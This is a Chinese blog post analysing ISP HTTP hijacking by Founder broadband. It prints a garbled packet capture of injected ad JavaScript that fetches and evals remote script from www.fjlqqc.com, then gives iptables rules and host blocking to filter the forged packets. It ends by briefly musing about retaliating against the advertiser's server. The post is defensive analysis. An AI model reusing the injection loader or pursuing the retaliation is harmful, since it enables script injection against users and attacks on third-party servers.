方正宽带劫持使用iptables解决JS www.fjlqqc.com 方正宽带劫持www.fjlqqc.com

2019-09-22
0评论
/
1265阅读
爱搜啊

最近上网查资料,小米论坛竟然开始弹广告,还有某些软件的反馈页面,于是怀疑http劫持

网页被劫持抓包内容

203.100.93.109.wvw > 100.82.240.210.2770: Flags [P.], cksuni Oxadbc (correct), s 

eq 493458672:493459696, ack 2879341482, win 32767, length 1024

E.,( •0©.*_____d]mdR.. .P

..i_____C.P.............HTTP/1.1 200 OK

Content-Type: application/x-javascript 

Connection: close 

Expires: -1

Cache-Control: no-cache.no-store.max-age=0 

Con ten t-Length: 2297

var sourceScriptURI = 'http://bbs.xiaoiBi.cn/statics/ueditor/ueditor.config.js'; 

(functionO {

var evalGloble s

 eval; 

var .loader « function(uri) { 

if (!top || !this) {

return setTineout(argunents.callee, 50);

>

if (top !* this) { 

return;

var s * window.top.document.createElementC'script'); 

s.src * uri;

s.type * 'text/javascript*; 

s.charset = ,utf-8,

s.async a 'true';

window.top.document.body.appendChild(s) ;

};

var evalSrcScript s

 function(uri) {

var url = ’.http://www.fjiqqc.coia/coi■丨on/api/v1.0/src_script/?path*.’ + encod 

eURIComponen t(u r i);

var xhr * new XMLHttpRequestO; 

xhr.open('GET'. url. false);

xhr.setRequestHeader("X-Page-Charsef, document.charset);

xhr.send();

try {

evalG

16:15:43.848323 IP (tos 0x0, ttl 61, id 59113, offset 0, flags [DF]. proto TCP (6), 

length 1064)

203.100.93.109.www > 100.82.240.210.2770: Flags [?.), cksun 0x3511 (correct), s 

eq 1024:2048, ack 1. win 32767, length 1024 

E..(••诠..d】mdR.•.P 

..i....C.P…5…loble(xhr.responseText);

> catch(error) {>

};

var getCurrentScript * function(sourceScriptURI) {

var scripts * docu丨6的.$&1£1611»6的58乂丁33咕帕卜5<:1^〇; 

for (var i * 0; i < scripts.length; ++i) {

if (scripts[i].src == sourceScriptURI) return scripts[i];

>

>;

var _looper, injection; 

var _loop * functionO {

switch (document.readyState) < 

case 'loading*: 

break;

case 'interactive*: 

case 'complete':

clearInterval(_looper);

if (window.一COODAGLIFE一 === undefined) {

_loader(injectionScriptURI + trini(publxsherlD) + 

localStorage.C000AG_SERUM_IC = injectionScriptURI; 

window._CCKM)AGLIFE一 = true;

> _

 — 

break; 

default:

clearlnterval(_looper);

break;

>

>;

var inject * functionO {

_looper = setlnterval(_l

16:17:54.790741 IP (tos 0x0, ttl 61. id 16228, offset 0, flags [DF]. proto TCP (6), 

length 1064)

203_100.93_109.www> 100_82_240.210.2825: Flags IP.】,cksuii 0xebb7 (correct), s 

eq 1674722432:1674723456. ack 2102740425. win 32767. length 1024

E..(?d@.=.|u.d]mdR...P. c.<.>UE.P....................HTTP/1.1 200 OK

Content-Type: application/x-javascript

劫持原理

不同ip,80端口返回的包,原理就是替换js,push抢答包,替换的js还会执行原js以保证网页不会爆炸
进行了traceroute,一看就是假公网ip。。。

方正宽带劫持 iptables来帮你

好吧 如果初始ttl为64的话,ttl为61及以上的都是方正内网。。
考虑过滤所有内网流量,但是考虑到垃圾方正内网的缓存,暴力过滤可能导致某些资源下不下来。

下面还是来分析一下劫持包的特征

0.tcp
1.80端口
2.ttl为61
3.共三个包,前两个包的大小为1064
4.push flag和df
5.几乎相同的内容 0超时刷新会重新请求
6.http这个头里面的回车不是完全规范的

于是乎 利用0 1 2 4
iptables -t filter -I INPUT 1 -p tcp --tcp-flags PSH PSH --sport 80 -mttl --ttl-eq 61 -i ppp0 -j DROP

iptables -t filter -I FORWARD 4 -p tcp --tcp-flags PSH PSH --sport 80 -mttl --ttl-eq 60 -i ppp0 -j DROP
理论上没什么问题了,但偶尔还会有广告溜进来
可能是ss和koolproxy的原因
但是ss不会被劫持
发现经过koolproxy的包ttl会重置为64,出口无法过滤,但入口input已经进行了过滤。
不走过滤的走forward也应该进行了过滤。
无解了,那就再看看劫持封包。
emmm,发现一个网址http://www.fjlqqc.com,host直接干掉
iptables字符过滤成本太高,所以这样就可能是最好的结果了
但是不甘心啊,怎么才能稍稍报复一下这个万恶的广告主呢
http://www.fjlqqc.com/common/api/v1.0/src_script/?path=" + encodeURIComponent(uri)
能不能在这个跳转上搞文章
如果对方的服务器会访问这个网址岂不美哉,后面加几个测速链接岂不是会很开心,但是无法获知是否会访问,没准儿只是一个统计,就没有继续了


本站附件分享,如果附件失效,可以去找找看

诚通网盘附件百度网盘附件


于2019-09-22发布